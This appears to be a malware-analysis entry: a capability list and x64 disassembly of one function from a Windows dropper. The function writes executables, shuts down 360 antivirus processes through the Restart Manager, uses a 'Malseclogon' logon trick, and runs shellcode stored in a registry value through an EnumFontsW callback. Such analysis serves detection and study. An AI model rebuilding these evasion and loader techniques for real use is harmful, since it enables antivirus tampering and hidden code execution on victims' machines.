Function at 0x180007960
Capabilities:
Allocate or change rwx memory
Check if file exists
Create directory
Create process on windows
Create process suspended
Create restart manager session
Delete directory
Delete file
Enumerate gui resources
Enumerate processes
Enumerate processes that use resource
Execute shellcode via windows callback function
Get common file path
Get file attributes
Get token membership
Query or enumerate registry value
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x10bb0]
mov eax, 0x10cb0
call fcn.180012730
sub rsp, rax
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r14 + 1]
lea rcx, str.C:UsersPublicDownloadsQQgames.exe
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x10be0]
mov r8d, 0x9fa00
lea rdx, [0x180055eb0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180007a51
xor edx, edx
mov r8d, 0x234
lea rcx, [rbp + 0x64]
call fcn.180038d50
mov dword [rbp + 0x60], 0x238
lea rdx, [rbp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180007a48
nop word [rax + rax]
lea rdx, str.360Tray.exe
lea rcx, [rbp + 0x8c]
call fcn.18001faa4
mov rcx, rbx
test eax, eax
je 0x180007a69
lea rdx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180007a20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1800070a0
call fcn.1800064a0
add rsp, 0x10cb0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x10be8], r14d
mov word [rbp + 0x10bec], 0x500
lea rax, [rbp + 0x10bf0]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], r14d
mov dword [rsp + 0x40], r14d
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp + 0x10be8]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x180007af6
lea r8, [rbp + 0x10be0]
mov rdx, qword [rbp + 0x10bf0]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x180007ae9
mov dword [rbp + 0x10be0], r14d
mov rcx, qword [rbp + 0x10bf0]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp + 0x10be0], 1
jne 0x180007f03
lea rax, [rbp + 0x60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r8, [rbp + 0x60]
lea rdx, str._sTCLS
lea rcx, [rbp + 0x2a0]
call fcn.18000c5e0
xor edx, edx
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180007b66
or eax, 2
mov edx, eax
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp - 0x80]
call fcn.180006130
nop
mov r8d, 4
lea rdx, str..exe
lea rcx, [rbp - 0x80]
call fcn.18000b9f0
lea r8, [rbp + 0x2a0]
lea rdx, str._sclient.exe
lea rcx, [rbp + 0x4b0]
call fcn.18000c5e0
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 1]
lea rcx, [rbp + 0x4b0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x10be8]
mov r8d, 0x66640
lea rdx, [0x18011c7e0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x6c0], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
lea rdx, [rbp + 0x6c0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180007c5f
nop word [rax + rax]
lea rdx, str.360safe.exe
lea rcx, [rbp + 0x6ec]
call fcn.18001faa4
mov rcx, rbx
test eax, eax
je 0x180007ef1
lea rdx, [rbp + 0x6c0]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180007c30
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 0xffffffff
mov qword [rbp + 0x10be8], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x10be8]
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rbp + 0x10be8]
call fcn.180006000
mov rcx, qword [rbp + 0x10be8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rdx, qword gs:[0x30]
mov ebx, eax
mov ecx, esi
mov qword [rdx + 0x40], rcx
mov qword [rdx + 0x48], rbx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rax
xorps xmm1, xmm1
movups xmmword [rbp - 0x10], xmm1
movups xmmword [rbp], xmm1
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp + 0x20], xmm1
movups xmmword [rbp + 0x30], xmm1
movups xmmword [rbp + 0x40], xmm1
mov qword [rbp + 0x50], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], r14d
lea rax, [rbp + 0x4b0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
mov r9d, 2
lea r8, str.MalseclogonPwd
lea rdx, str.MalseclogonDomain
lea rcx, str.MalseclogonUser
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
mov rcx, qword gs:[0x30]
mov qword [rcx + 0x40], rdi
mov qword [rcx + 0x48], rbx
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x1800474e8]
lea rcx, [0x1800078f0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x10be0], 0xffffffff
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x20], ax
lea r8, [rbp - 0x60]
xor edx, edx
lea rcx, [rbp + 0x10be0]
call qword [sym.imp.RstrtMgr.DLL_RmStartSession]
mov ebx, eax
mov edx, eax
lea rcx, [0x180047400]
call fcn.1800045c0
test ebx, ebx
jne 0x180007e64
lea rax, str.C:Program_Files__x86_360360Safe_safemon360tray.exe
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rsp + 0x60]
lea edx, [rbx + 1]
mov ecx, dword [rbp + 0x10be0]
call qword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x180007e58
mov dword [rbp + 0x10be8], 0x64
lea rax, [rbp + 0x10bf0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x6c0]
lea r8, [rbp + 0x10be8]
lea rdx, [rbp + 0x10bf8]
mov ecx, dword [rbp + 0x10be0]
call qword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
jne 0x180007e58
xor r8d, r8d
xor edx, edx
mov ecx, dword [rbp + 0x10be0]
call qword [sym.imp.RstrtMgr.DLL_RmShutdown]
mov ecx, dword [rbp + 0x10be0]
call qword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x4b0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1800070a0
call fcn.1800064a0
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x180007a5b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007ede
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008003
call fcn.180011de8
add rsp, 0x10cb0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov esi, dword [rbp + 0x6c8]
jmp 0x180007c6d
lea rax, [rbp + 0x10be8]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x180007a5b
mov dword [rbp + 0x10be0], r14d
lea rax, [rbp + 0x10be0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
lea rdx, str.qweasd321zxc
mov rcx, qword [rbp + 0x10be8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180007a5b
mov ecx, dword [rbp + 0x10be0]
call fcn.180021ca8
mov rdi, rax
lea rax, [rbp + 0x10be0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.qweasd321zxc
mov rcx, qword [rbp + 0x10be8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180007a5b
mov edx, dword [rbp + 0x10be0]
xor ecx, ecx
lea r9d, [rax + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8d, dword [rbp + 0x10be0]
mov rdx, rdi
mov rcx, rax
call fcn.1800386b0
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov rcx, rax
xor r9d, r9d
mov r8, rbx
xor edx, edx
call qword [sym.imp.GDI32.dll_EnumFontsW]
add rsp, 0x10cb0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.180021c30
int3